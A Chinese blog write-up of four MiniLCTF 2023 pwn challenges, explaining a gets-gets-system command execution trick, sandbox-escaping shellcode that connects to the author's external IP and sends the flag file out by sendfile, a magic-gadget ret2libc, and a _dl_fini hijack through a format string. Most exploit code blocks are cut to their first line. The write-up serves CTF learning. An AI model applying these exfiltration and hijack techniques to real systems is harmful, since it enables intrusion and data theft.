MiniLCTF 2023
前言:
- 今天无聊时翻田师傅的博客,看到关于2023年的miniLCTF觉得挺有意思的,刚刚好下午没课,就花了一下午+晚上复现
- ezbook的多线程竞争暂时看不懂
真的是ez吗我不禁想问
靶场链接:靶场
1. “3calls”
check函数是用于检查我们调用的是不是libc函数,在调试时check函数会打开新的线程导致gdb终止,我们可以使用IDA将call check
这段nop掉*(关于使用IDA来修改elf文件在我的第一篇iot博客内)*
main函数的核心功能与特点为:
- 给我们libc的地址
- 让我们输入三个函数地址
- 对三个地址中的函数进行调用
- 调用函数时无法控制函数的参数
我们最后的目的是调用system函数(总不可能是orw吧),system的参数可以通过IO封装的read函数来实现,这里我选择的是gets函数,因为gets的一参刚刚好就是gets写入的地址,也是system的一参.
通过调试我们可以看到在调用puts的过程中:
1 | 0x0000786864e80fd3 in puts () from ./libc.so.6 |
会将rdi赋值为**IO_2_1_stdout+0x88**,在进行IO操作后,就将rdi置零,熟悉IO利用的师傅们能看出来此时的rdi是IO结构体(_IO_2_1_stdout)的lock成员
在IO操作前会对lock域进行上锁操作,IO操作结束后进行解锁操作.所以在puts函数调用结束时rdi会变成*IO_2_1_stdout.lock*的地址!
巧合的是gets函数拥有和puts函数相同的特性,所以gets函数结束后rdi也会变成可写区域,只不过变成了*IO_2_1_stdin.lock*
那接下来的事情就很简单了:
- 我们调用gets函数,什么都不读入后回车结束,此时rdi被控制为*IO_2_1_stdin.lock*
- 再次调用gets函数,向*IO_2_1_stdin.lock*处写入cmd
- 最后一次调用system,达成任意命令执行
需要注意的是最后一次gets进行IO操作结束后会进行解锁操作(具体来说就是将lock域最低字节置零),我们如果使用”/bin/sh”,就要写入**”/bin0sh”**,这样被解锁后cmd=”/bin/sh”,当然如果写入的命令是”sh||”就不需要注意解锁的问题了 :)
2.ezshellcode
这道题的”特色“:
- 函数符号和flag符号极为相似,非常容易看错😵
- 在执行shellcode前将寄存器全清空了,还把fd全关了
- 开了个很难绷的沙箱
建议将函数符号和缓冲区符号rename一下,然后这个沙箱摆明了想要让我们使用socket+connect+sendfile打.(幸好柯✌教会了我内网穿透)
这种特殊的orw需要我们拥有一个公网IP或内网穿透工具,总之要能被连接到
没有open函数,但是仔细观察会发现fd2并没有被close,而是close了两次fd1(如果不修改符号找这个要把眼睛看瞎)
1.恢复栈指针
想要打socket+connect我们需要把一大串公网IP的地址给dump到寄存器里,但是rsp被xor了
所以第一步是恢复rsp
trick:在fs:[0x300]的地方有一个栈地址
所以我们的第一块shellcode
1 | mov rsp, fs:[0x300] |
此时我们就可以正常使用push,pop命令了
2.创建一个socket
关于socket到底是个什么东西其实我没想的很清楚
目前的理解就是socket会创建一个文件描述符,我们可以和这个文件描述符代表的IO结构进行IO操作
但是仅仅只是调用socket创建的文件描述符是个”空壳子”,它没有任何实质的内容,自然无法进行IO操作
1 | push SYS_socket |
此时会返回一个文件描述符
3.使用connect赋予socket意义
connect将socket绑定到一个公网/内网穿透的端口上,此时的文件描述符拥有了进行IO操作的能力
1 | xchg rdi, rax; |
connect函数的调用是这道题最难的地方(我觉得),connect的原型是int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
struct seckaddr
的基本结构
1 | struct sockaddr |
我们需要将我们的公网/内网穿透IP,port按一个顺序组合成long int然后push,pop
假设我的IP:port=45.95.212.18:17020
先将每个字段转化为16进制:
1 | 45 95 212 18 17020 => 2d 5f d4 12 427c |
使用小端序存储
1 | 0x12d45f2d7c42 |
再在低16字节拼接上sa_family_t字段(我使用的是IPV4,为2)
最后结构体的数据为0x12d45f2d7c420002
4.sendfile
我在上上篇博客分析过这个调用,它十分好用,将read和write结合在了一起
1 | push 4;pop rsi; |
我们只需要将flag的fd发送到socket的fd中,同时监听这个端口nc -lvvp 1234
sendfile调用后我们就可以在监听的窗口看到flag了 :)
twins
怎么看怎么是一道简简单单的ret2libc,但是附件里给了个python脚本
1 | import sys |
居然同时在远程跑了两个二进制文件,而且如果输出结果不一样还会退出
这样一来就不能构造ROP泄露libc了
还记得magic_gagdet吗?可以在不泄露libc的情况下调用任意libc中的函数,记不清楚或不太了解的师傅可以去看我的第一篇博客 :)
1 | from pwn import * |
broken_machine
新知识(对我):
- signal(11, (__sighandler_t)handler)当捕捉到11(段错误)时会进入handler处理
- s = (char *)mmap((void *)0x1000, 0x1000uLL, 7, 34, -1, 0LL)返回的不是0x1000而是0x10000.详情->源码
- sprintf造成的格式化字符串漏洞,
%{num}$n
中num的计算和printf不一样,因为此时fmt是sprintf的第二个参数,所以num的计数应该从rdi开始(printf从rsi开始) - 使用pwntools写出来的shellcode是没有\x00的!
先看main函数,向bss段读入0x400字节,然后检查这段数据中是否只有一个以下的个”n”(限制我们只能使用一次格式化字符串),然后进入machine
在0x10000开辟rxw空间后将bss段数据复制到0x10000处(存在\x00截断)
最后开启沙箱,并跳转到0x1000处
我们知道被mmap修改rwx权限的是0x10000,所以此时访问了非法内存,必然触发段错误,调用handle函数(exit(0))
我们的突破点只能是在exit上
在调用exit时会调用_dl_fini
,_dl_fini
中调用了函数指针,该函数调用部分源码如下
1 | for (i = 0; i < nmaps; ++i) |
我们的劫持目标是array
,这里放置了函数指针
PIE | l->addr | l->l_info[DT_FINI_ARRAY]->d_un.d_ptr | l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val |
---|---|---|---|
0 | 0 | &.fini.array | 0x8 |
1 | elf.address | &.fini.array | 0x8 |
我们用gdb观察触发格式化字符串时的栈结构
可以看到有_rtld_global
和其中的内容,_rtld_global
指向了link_map
,link_map (-> l_addr)
,所以我们可以修改l_addr
结合array
的计算我们可以发现:我们可以将array
从fini_array(0x403D80)
向高地址抬,刚刚好bss就处于fini指针的高地址处
也就是说只要计算好l_addr
,我们就能调用任意地址的函数(这个函数的地址我们要提前写入bss中)
那既然题目已经为我们在0x10000开辟了rwx,有允许我们向其中写入shellcode,那就把array
偏移到bss上被我们写入了p64(0x10000)的地址,`offset=&(bss.0x10000)-fini_array
1 | from pwn import * |
title: MiniLCTF
date: 2025-5-15 17:49:32
tags: pwn wp